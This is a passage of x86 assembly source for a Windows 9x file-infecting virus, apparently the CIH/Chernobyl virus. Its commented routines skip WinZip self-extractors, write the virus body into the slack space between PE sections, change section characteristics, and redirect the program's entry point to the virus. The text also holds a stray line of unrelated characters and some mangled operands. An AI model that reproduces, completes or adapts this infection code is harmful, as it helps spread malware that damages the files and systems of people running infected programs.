; * First, Virus Gets the *
; * PointerToRawData in the *
; * Second Section Table, *
; * Reads the Section Data, *
; * and Tests the String of *
; * 'WinZip(R)'...... *
; ***************************
逆@风@者
xchg eax, ebp
push 00000004h
pop ecx
push edx
mov edx, (SizeOfScetionTable PointerToRawData-@9)[esi]
add edx, 12h
call edi ; VXDCall IFSMgr_Ring0_FileIO
cmp dword ptr [esi], 'piZniW'
je NotSetInfectedMark
pop edx
; ***************************
; * Let's Set Total Virus *
; * Code Section Table *
; ***************************
; EBX = My Virus First Section Code
; Size of Following Section Table
pop ebx
pop edi ; EDI = TotalSizeOfVirusCodeSectionTable
pop ecx ; ECX = NumberOfSections 1
push edi ; Size
add edx, ebp
push edx ; Pointer of File
add ebp, esi
push ebp ; Address of Buffer
; ***************************
; * Set the First Virus *
; * Code Section Size in *
; * VirusCodeSectionTable *
; ***************************
lea eax, [ebp edi-04h]
mov [eax], ebx
; ***************************
; * Let's Set My Virus *
; * First Section Code *
; ***************************
push ebx ; Size
add edx, edi
push edx ; Pointer of File
lea edi, (MyVirusStart-@9)[esi]
push edi ; Address of Buffer
; ***************************
; * Let's Modify the *
; * AddressOfEntryPoint to *
; * My Virus Entry Point *
; ***************************
mov (NewAddressOfEntryPoint-@9)[esi], edx
; ***************************
; * Setup Initial Data *
; ***************************
lea edx, [esi-SizeOfScetionTable]
mov ebp, offset VirusSize
jmp StartToWriteCodeToSections
; ***************************
; * Write Code to Sections *
; ***************************
LoopOfWriteCodeToSections:
add edx, SizeOfScetionTable
mov ebx, (SizeOfRawData-@9)[edx]
sub ebx, (VirtualSize-@9)[edx]
jbe EndOfWriteCodeToSections
push ebx ; Size
sub eax, 08h
mov [eax], ebx
mov ebx, (PointerToRawData-@9)[edx]
add ebx, (VirtualSize-@9)[edx]
push ebx ; Pointer of File
push edi ; Address of Buffer
mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi]
mov [eax 4], ebx
mov ebx, [eax]
add (VirtualSize-@9)[edx], ebx
; Section contains initialized data ==> 00000040h
; Section can be Read. ==> 40000000h
or (Characteristics-@9)[edx], 40000040h
StartToWriteCodeToSections:
sub ebp, ebx
jbe SetVirusCodeSectionTableEndMark
add edi, ebx ; Move Address of Buffer
EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
; ***************************
; * Only Set Infected Mark *
; ***************************
OnlySetInfectedMark:
mov esp, dr1
jmp WriteVirusCodeToFile
; ***************************
; * Not Set Infected Mark *
; ***************************
NotSetInfectedMark:
add esp, 3ch
jmp CloseFile
; ***************************
; * Set Virus Code *
; * Section Table End Mark *
; ***************************
SetVirusCodeSectionTableEndMark:
; Adjust Size of Virus Section Code to Correct Value
add [eax], ebp
add [esp 08h], ebp
; Set End Mark
xor ebx, ebx
mov [eax-04h], ebx
; ***************************
; * When VirusGame Calls *
; * VxDCall, VMM Modifies *
; * the 'int 20h' and the *
; * 'Service Identifier' *
; * to 'Call [XXXXXXXX]'. *
; ***************************
; * Before Writing My Virus *
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